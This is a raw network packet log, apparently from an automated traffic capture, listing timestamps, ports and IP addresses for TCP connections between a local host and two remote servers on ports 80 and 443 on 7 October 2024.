Oct 7, 2024 21:18:40.793723106 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.793823957 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.794322968 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.794339895 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.794363022 CEST	49866	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.794373035 CEST	443	49866	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.797717094 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.797715902 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.797754049 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.797754049 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.797816992 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.797818899 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.798058033 CEST	49871	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.798069000 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.798088074 CEST	49870	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:40.798106909 CEST	443	49870	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:40.807753086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:40.807811975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:40.982722044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:40.987688065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182290077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182391882 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182426929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182459116 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.182480097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182492018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.182517052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182550907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182585955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182599068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.182621956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182672977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182706118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182718039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.182740927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182775974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.182784081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.183007002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.249289036 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.278539896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278592110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278625965 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278661013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278677940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278714895 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278722048 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278752089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278786898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278798103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278821945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278831959 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278857946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278892994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278906107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278930902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278964043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278975964 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.278997898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.278999090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279032946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279067039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279077053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279102087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279135942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279145956 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279170990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279176950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279206991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279241085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279252052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279274940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279308081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279315948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279342890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279350996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.279380083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.279434919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.299755096 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.301723003 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.301733017 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.302241087 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.302246094 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.326129913 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.329524040 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.329540968 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.333486080 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.333492041 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.356832981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.359908104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377276897 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377334118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377363920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377404928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377418041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377451897 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377471924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377475023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377509117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377518892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377547026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377551079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377582073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377602100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377634048 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377666950 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377676010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377700090 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377721071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377724886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377758980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377764940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377794027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377813101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377827883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377857924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377861977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377871990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377897978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377907038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377933979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.377943039 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377976894 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.377985954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378021955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378030062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378051996 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378065109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378092051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378099918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378138065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378144026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378179073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378181934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378190041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378223896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378226995 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378257990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378257990 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378272057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378293991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378298044 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378334045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378345966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378381968 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378386974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378416061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378423929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378451109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378454924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378484964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378495932 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378529072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378539085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378572941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378582001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378608942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378613949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378654003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378659010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378693104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378700018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378726959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378735065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378762960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378786087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378793955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378797054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378833055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378834009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378868103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378901005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378906012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.378936052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378971100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.378979921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379004955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379014015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379024029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379055977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379071951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379097939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379106045 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379139900 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379151106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379173994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379182100 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379215002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.379236937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.379276037 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.414314032 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.418416977 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.418431044 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.421602964 CEST	49869	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.421610117 CEST	443	49869	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.424206018 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.424279928 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.424339056 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.425476074 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.425491095 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.425499916 CEST	49867	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.425504923 CEST	443	49867	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.433723927 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.434021950 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.434094906 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.438663006 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.438719988 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.438759089 CEST	49868	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:41.438775063 CEST	443	49868	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.461915970 CEST	443	49871	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:41.479131937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479190111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479239941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479264021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479306936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479355097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479365110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479418039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479434967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479454041 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479490995 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479500055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479542971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479577065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479609966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479641914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479655027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479675055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479710102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479718924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479753017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479784966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479795933 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.479820013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.479865074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480047941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480081081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480112076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480117083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480154037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480163097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480166912 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480186939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480195999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480206013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480232000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480238914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480264902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480266094 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480304956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480305910 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480340004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480453014 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480485916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480494976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480521917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480530977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480557919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480564117 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480592966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480633020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480650902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480667114 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480700016 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480712891 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480736017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480751991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480767965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.480770111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.480906010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481021881 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481055021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481066942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481090069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481095076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481125116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481129885 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481158972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481199026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481204033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481209040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481228113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481241941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481251955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481276989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481281996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481311083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481318951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481348038 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481352091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481388092 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481470108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481502056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481506109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481537104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481545925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481570959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481620073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481637001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481652975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481661081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481672049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481688023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481698990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481724024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481734991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481765985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481794119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481827021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481842041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481861115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481868029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481895924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481901884 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481930971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481935024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.481966019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.481971025 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482000113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482008934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482034922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482064962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482080936 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482099056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482105017 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482132912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482142925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482170105 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482173920 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482203960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482213974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482247114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:41.482253075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:41.482309103 CEST	49810	80	192.168.2.5	95.164.90.97
